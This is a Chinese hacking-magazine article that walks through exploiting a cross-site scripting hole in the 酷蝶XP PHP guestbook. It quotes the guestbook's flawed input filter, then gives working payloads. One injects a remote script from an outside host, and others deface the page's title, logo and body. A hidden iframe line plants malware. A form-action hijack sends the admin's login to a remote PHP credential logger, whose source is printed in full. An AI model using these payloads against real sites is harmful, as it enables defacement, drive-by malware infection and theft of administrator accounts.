跨出精彩—- 酷蝶XP留言簿跨站利用

作者:樱花浪子
来源:http://www.hacklu.net
申明:本文已发表黑客手册,转载请注名版权,此文版权归樱花浪子和黑客手册所有. !
转载请注明!

 记得在某个论坛上看过某牛人说过一段话,有的时候看文章还不如看LCX对文章的点评,俺对这段话记忆犹新,
从那以后俺每次都注意LCX对文章的点评,正好看见黑手8月份“163博客我又来了”LCX对文章的点评是:为什么每个
人提到跨站,只是弹出一个alert就完事了呢?其实跨站语句可以做很多的事,发现容易,利用较难,所以跨站被某
牛人评为自慰式漏洞……

 俺最近参考以前牛人写的跨站文章,自己又研究一下,跨站如果跨得漂亮了一样不比注入的威力小,赶紧从网上找
了一个PHP文本留言本,测试起来,首先当然是来个<script>alert("樱花浪子")</script>,却完完全全返回来了,查了
一下网页代码,已经被转换成<script>alert("樱花浪子")</script>了,如图1。

看看它的代码是怎么写的,如下:
function addpost(){ //添加留言
global $submit,$lname,$admin,$u_name,$u_face,$u_emote,$u_hide,$u_sex,$u_mail,$u_oicq,$u_page,$u_text;
global $user_time;
if($submit){
if(($u_name=trim($u_name))=='') showerro ("昵称不能为空,请重新填写!");
elseif(time() – $user_time < $admin[timeout]) showerro ("为防止灌水,发留言间隔为 $admin[timeout] 秒");
elseif (checkemail($u_mail)) showerro("你邮件没有填写或填写有错误!");
elseif (eregi("[<>(),#|;%/$\]",$u_mail)) showerro("邮件填写不能包含特殊字符!");
elseif (strlen($u_name) >15) showerro("昵称太长,非法ID!");
elseif (eregi("[<>(),#|;%/$\]+",$u_name)) showerro("昵称只能是字母数字或中文,请不要包含< > | ?等特殊字符");
elseif ($u_oicq && !ereg("^[0-9]{5,13}$",$u_oicq)) showerro("OICQ号码只能为数字!");
elseif (eregi("[<>(),#|;%$\]+",$u_page)) showerro("主页填写有错误,主页名字只能包含字母数字下划线和-号!");
elseif (!eregi("^http://",$u_page)) showerro("主页开头要加http://");
elseif (($u_text=trim($u_text))=="") showerro("留言内容不能为空,请重新填写!"); //这里好象不是很严格啊
elseif (strlen($u_text)>$admin[maxlen]) showerro("留言太长了,想把留言簿撑爆呀!");
else {
if ($u_oicq=="") $u_oicq="未知";
if ($u_page=="") $u_page="http://";
$u_text = safeinput($u_text);                  //safeinput自定义函数
if ($u_hide) $u_text='[HIDE]<b>悄悄话:</b>'.$u_text.'[/HIDE]';
代码略……
showok("留言成功,感谢你对我们的支持!");
}
}else
showerro("非法操作!");

在看看safeinput函数:

function safeinput($d) { //输入内容安全转换
$d = str_replace("\t",'',$d);
$d = str_replace("\r",'',$d);
$d = str_replace('<','<',$d);
$d = str_replace('>','>',$d);
$d = str_replace("\n",'<br>',$d);
$d = str_replace('|','│',$d);
$d = str_replace(' ','  ',$d);
$d = preg_replace("/\[\/HIDE\]/is",'',$d);// 悄悄话
return $d;
}
 
 好象没有[和]呀,在签写留言中试了一下javascript:alert('樱花浪子'),成功了,如图2,

接下来干什么呢,想要玩的精彩,当然是引起来一个JS文件了,这样通过修改JS文件内容就可以做很多事情拉。
直接在签写留言中写入:[ img]javascript:s=document.createElement("script");s.src="http://hacklu.net/test/1.js%22;document.body.appendChild(s);[/img],
如图3所示。

 先来改下标题吧,直接在1.js里填上如下内容:document.title="HackED_BY_樱花浪子",在看看标题栏,如图4所示,当然还可以改LOGO图片了,只要在JS里改成:
document.images[0].src='http://www.nohack.cn/bbs/images/Overcast/logo.gif';看看已经改成黑客手册了,图5所示。


 如果你觉得还不爽,那我们来改BODY里内容,直接在JS里写成如下内容:
function Phish(){
info = "樱花浪子到些一游!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}doit()
大家看看返回了什么,直接就可以改页面了,如图6所示。

 如果想挂马就更容易了,JS内容改为:document.write("<iframe style='display:none;' src='http://xxx.com/xx.htm'%3E%3C/iframe%3E%22); 就可以了。
那能不能在高级点呢,其实我们还可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,这个很久以前剑心就提到过了,
是个ASP的程序,不过和PHP都是一样的,在地址栏提交:javascript:alert(document.forms.length),会弹出当前页面几个表单,如图7所示。
javascript:alert(document.forms[0].action),查看第一个表单的属性,指向/test/index.php?actioin=add,图8所示。


 只要我们改了表单的action属性就会钓到管理员帐号和密码,只要在JS里改成document.forms[下标].action="http://hacklu.net/test/pass.PHP,
pass.php内容如下:
<?php
Header("Location: http://127.0.0.1:81/test/index.php?%22);
if(isset($_POST['$admin_name'])&&isset($_POST['$admin_pass'])){

$file_path="password.txt";
$file = @fopen($file_path,"a");

$string = "Username:".$_POST['a_name']."and password:".$_POST['a_pass']."\n";

@fwrite($file,$string);
@fclose($file);

}
?>

 我们在用javascript:alert(document.forms[0].action)来看看,已经指向远程服务器文件了,如图9。

这样只要管理员登录就会直接钓到登陆的帐号。过程只在一瞬间
就完成了。其实这也不是什么新技术,我只是站在前人思路写一下。最后大家找我可以来非安全。

相关日志

发表评论